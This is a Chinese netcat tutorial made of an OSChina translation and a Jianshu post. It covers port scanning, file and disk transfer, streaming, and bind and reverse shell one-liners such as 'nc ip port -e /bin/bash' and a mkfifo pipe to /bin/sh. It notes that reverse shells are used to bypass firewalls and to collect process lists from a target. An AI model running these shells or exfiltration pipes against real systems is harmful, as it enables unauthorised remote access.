[**Linux Netcat 命令——网络工具中的瑞士军刀**](https://www.oschina.net/translate/linux-netcat-command)

**netcat**是网络工具中的瑞士军刀，它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向，你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。

**netcat**所做的就是在两台电脑之间建立链接并返回两个数据流，在这之后所能做的事就看你的想像力了。你能建立一个服务器，传输文件，与朋友聊天，传输流媒体或者用它作为其它协议的独立客户端。

下面是一些使用netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

Linux netcat 命令实例：

### 1，端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口，帮助他们识别系统中的漏洞。

$nc -z -v -n 172.31.100.7 21-25

可以运行在TCP或者UDP模式，默认是TCP，-u参数调整为udp.

z 参数告诉netcat使用0 IO,连接成功后立即关闭连接， 不进行数据交换(谢谢@jxing 指点)

v 参数指使用冗余选项（译者注：即详细输出）

n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

这个命令会打印21到25 所有开放的端口。Banner是一个文本，Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候，Banner信息是非常有用的。但是，并不是所有的服务都会发送banner。

一旦你发现开放的端口，你可以容易的使用netcat 连接服务抓取他们的banner。

$ nc -v 172.31.100.7 21

netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。

### 2，Chat Server

假如你想和你的朋友聊聊，有很多的软件和信息服务可以供你使用。但是，如果你没有这么奢侈的配置，比如你在计算机实验室，所有的对外的连接都是被限制的，你怎样和整天坐在隔壁房间的朋友沟通那？不要郁闷了，netcat提供了这样一种方法，你只需要创建一个Chat服务器，一个预先确定好的端口，这样子他就可以联系到你了。

Server

$nc -l 1567

netcat 命令在1567端口启动了一个tcp 服务器，所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

Client

$nc 172.31.100.7 1567

不管你在机器B上键入什么都会出现在机器A上。

### 3，文件传输

大部分时间中，我们都在试图通过网络或者其他工具传输文件。有很多种方法，比如FTP,SCP,SMB等等，但是当你只是需要临时或者一次传输文件，真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设，你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端，以下，让A作为服务器，B为客户端。

Server

$nc -l 1567 < file.txt

Client

$nc -n 172.31.100.7 1567 > file.txt

这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt，那么当任何成功连接到该端口，netcat会发送file的文件内容。

在客户端我们重定向输出到file.txt，当B连接到A，A发送文件内容，B保存文件内容到file.txt.

没有必要创建文件源作为Server，我们也可以相反的方法使用。像下面的我们发送文件从B到A，但是服务器创建在A上，这次我们仅需要重定向netcat的输出并且重定向B的输入文件。

B作为Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt

### 4，目录传输

发送一个文件很简单，但是如果我们想要发送多个文件，或者整个目录，一样很简单，只需要使用压缩工具tar，压缩后发送压缩包。

如果你想要通过网络传输一个目录从A到B。

Server

$tar -cvf – dir\_name | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | tar -xvf -

这里在A服务器上，我们创建一个tar归档包并且通过-在控制台重定向它，然后使用管道，重定向给netcat，netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

如果想要节省带宽传输压缩包，我们可以使用bzip2或者其他工具压缩。

Server

$tar -cvf – dir\_name| bzip2 -z | nc -l 1567

通过bzip2压缩

Client

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

使用bzip2解压

### 5. 加密你通过网络发送的数据

如果你担心你在网络上发送数据的安全，你可以在发送你的数据之前用如mcrypt的工具加密。

服务端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密数据。

客户端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。

以上两个命令会提示需要密码，确保两端使用相同的密码。

这里我们是使用mcrypt用来加密，使用其它任意加密工具都可以。

### 6. 流视频

虽然不是生成流视频的最好方法，但如果服务器上没有特定的工具，使用netcat，我们仍然有希望做成这件事。

服务端

$cat video.avi | nc -l 1567

这里我们只是从一个视频文件中读入并重定向输出到netcat客户端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

### 7，克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器，而你不想在重复配置一遍。不在需要重复配置安装的过程，只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单，假如你的系统在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是一个从磁盘读取原始数据的工具，我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中，它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区，我们可以根据我们系统root分区的位置，更改sda 为sda1，sda2.等等。

### 8，打开一个shell

我们已经用过远程shell-使用telnet和ssh，但是如果这两个命令没有安装并且我们没有权限安装他们，我们也可以使用netcat创建远程shell。

假设你的netcat支持 -c -e 参数(默认 netcat)

Server

$nc -l 1567 -e /bin/bash -i

Client

$nc 172.31.100.7 1567

这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash

假如netcat 不支持-c 或者 -e 参数（openbsd netcat）,我们仍然能够创建远程shell

Server

$mkfifo /tmp/tmp\_fifo

$cat /tmp/tmp\_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp\_fifo

这里我们创建了一个fifo文件，然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出，然后管道到netcat 运行的端口1567上。至此，我们已经把netcat的输出重定向到fifo文件中。

说明：

从网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat。

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行，fifo文件用来替代正常文件，因为fifo使读取等待而如果是一个普通文件，cat命令会尽快结束并开始读取空文件。

在客户端仅仅简单连接到服务器

Client

$nc -n 172.31.100.7 1567

你会得到一个shell提示符在客户端

### 9，反向shell

反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置，这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567

在客户端，简单地告诉netcat在连接完成后，执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash

现在，什么是反向shell的特别之处呢   
反向shell经常被用来绕过防火墙的限制，如阻止入站连接。例如，我有一个专用IP地址为172.31.100.7，我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell，那么我会用反向外壳用于这一目的。

### ****10. 指定源端口****

假设你的防火墙过滤除25端口外其它所有端口，你需要使用-p选项指定源端口。

服务器端

$nc -l 1567

客户端

$nc 172.31.100.7 1567 -p 25

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯，否则将使用随机端口。

### ****11. 指定源地址****

假设你的机器有多个地址，希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。

服务器端

$nc -u -l 1567 < file.txt

客户端

$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

这仅仅是使用netcat的一些示例。

其它用途有：

* 使用-t选项模拟Telnet客户端，
* HTTP客户端用于下载文件，
* 连接到邮件服务器，使用SMTP协议检查邮件，
* 使用ffmpeg截取屏幕并通过流式传输分享，等等。其它更多用途。

简单来说，只要你了解协议就可以使用netcat作为网络通讯媒介，实现各种客户端。

# Netcat是什么

NC（netcat）被称为网络工具中的瑞士军刀，体积小巧，但功能强大。

Nc主要功能

Nc可以在两台设备上面相互交互，即侦听模式/传输模式

* Telnet功能
* 获取banner信息
* 传输文本信息
* 传输文件/目录
* 加密传输文件，默认不加密
* 远程控制
* 加密所有流量
* 流媒体服务器
* 远程克隆硬盘

## 具体介绍

在此之前，先看看参数说明。  
nc -h

image.png

* -c shell commands shell模式
* -e filename 程序重定向 [危险!!]
* -b 允许广播
* -d 无命令行界面,使用后台模式
* -g gateway 源路由跳跃点, 不超过8
* -G num 源路由指示器: 4, 8, 12, ...
* -h 获取帮助信息
* -i secs 延时设置,端口扫描时使用
* -k 设置在socket上的存活选项
* -l 监听入站信息
* -n 以数字形式表示的IP地址
* -o file 使进制记录
* -p port 本地端口
* -r 随机本地和远程的端口
* -q secs 在标准输入且延迟后退出（翻译的不是很好，后面实例介绍）
* -s addr 本地源地址
* -T tos 设置服务类型
* -t 以TELNET的形式应答入站请求
* -u UDP模式
* -v 显示详细信息 [使用=vv获取更详细的信息
* -w secs 连接超时设置
* -z I/O 模式 [扫描时使用]

其实常用的就几个参数-n,-v,-l,-p,-q  
.

### NC远程控制

这个比较有意思，我放在第一。  
正向连接  
A:nc -lp port -c bash  
B:nc ip port  
A将自己的Bash发给B  
反向连接  
A:nc -lp port  
B:nc ip port -c bash  
B将自己的Bash发给A  
win下Bash换成cmd

image.png

image.png

image.png

通常反向连接 比较常用，因为防火墙的存在，让目标机主动发送shell  
下面是Netcat Bind shell的演示

hackerwing.com

### 使用NC进行信息收集

简单的建立连接，就是侦听模式和传输模式  
nc -l -p port监听指定端口号  
nc -nv ip port连接对方tcp端口，默认情况下，双方可以发送文本信息  
收集目标机上的进程信息  
nc -l -p 4444 >wing.txt将远程发送过来的内容保存在本地  
Ps aux |nc -nv ip port -q 1 标准输入完成后delay一秒钟，会发送到侦听端

wing

wing

wing

### NC传输文件/目录

nc -lp 4444 >1.txt 1.txt就是你要保存的文件名 自定义

nc -nv ip port <1.txt -q 1 将文件发送给侦听端  
ps：侦听端的文件名最好按照文件本身来命名

tar -cvf - 目录名/|nc -lp port -q 1  
将目录打包  
nc -nv ip port |tar -xvf -  
将目录解包

### NC文件加密传输

apt-get install mcrypt  
A： nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb >文件名  
B：mcrypt --flush -Fbq -a rijndael-256 -m ecb <文件名|nc -nv ip port -q 1  
理解：B将文件加密发送，A接受后先解密再保存到本地，B在1s后退出.  
主要是利用mcrypt进行加密

### NC流媒体服务

A:cat wing.mp4|nc -lp port  
B:nc -nv ip port |mplayer -vo x11 -cache 4000  
A让wing.MP4这个文件成为流的形式发送到B，B用mplayer播放，接收多少播放多少，指定缓存4000bytes。

### NC端口扫描

nc -nvz ip 1-65535

image.png

默认使用tcp进行扫描

### NC复制磁盘

A:nc -lp port |dd of=/dev/sda  
B: dd if=/dev/sda | nc -nc ip port -q 1  
If是input filter  
Of 是output filter  
B将数据复制到A挂载的硬盘上

作者：Evilwing  
链接：https://www.jianshu.com/p/cb26a0f6c622  
来源：简书  
简书著作权归作者所有，任何形式的转载都请联系作者获得授权并注明出处。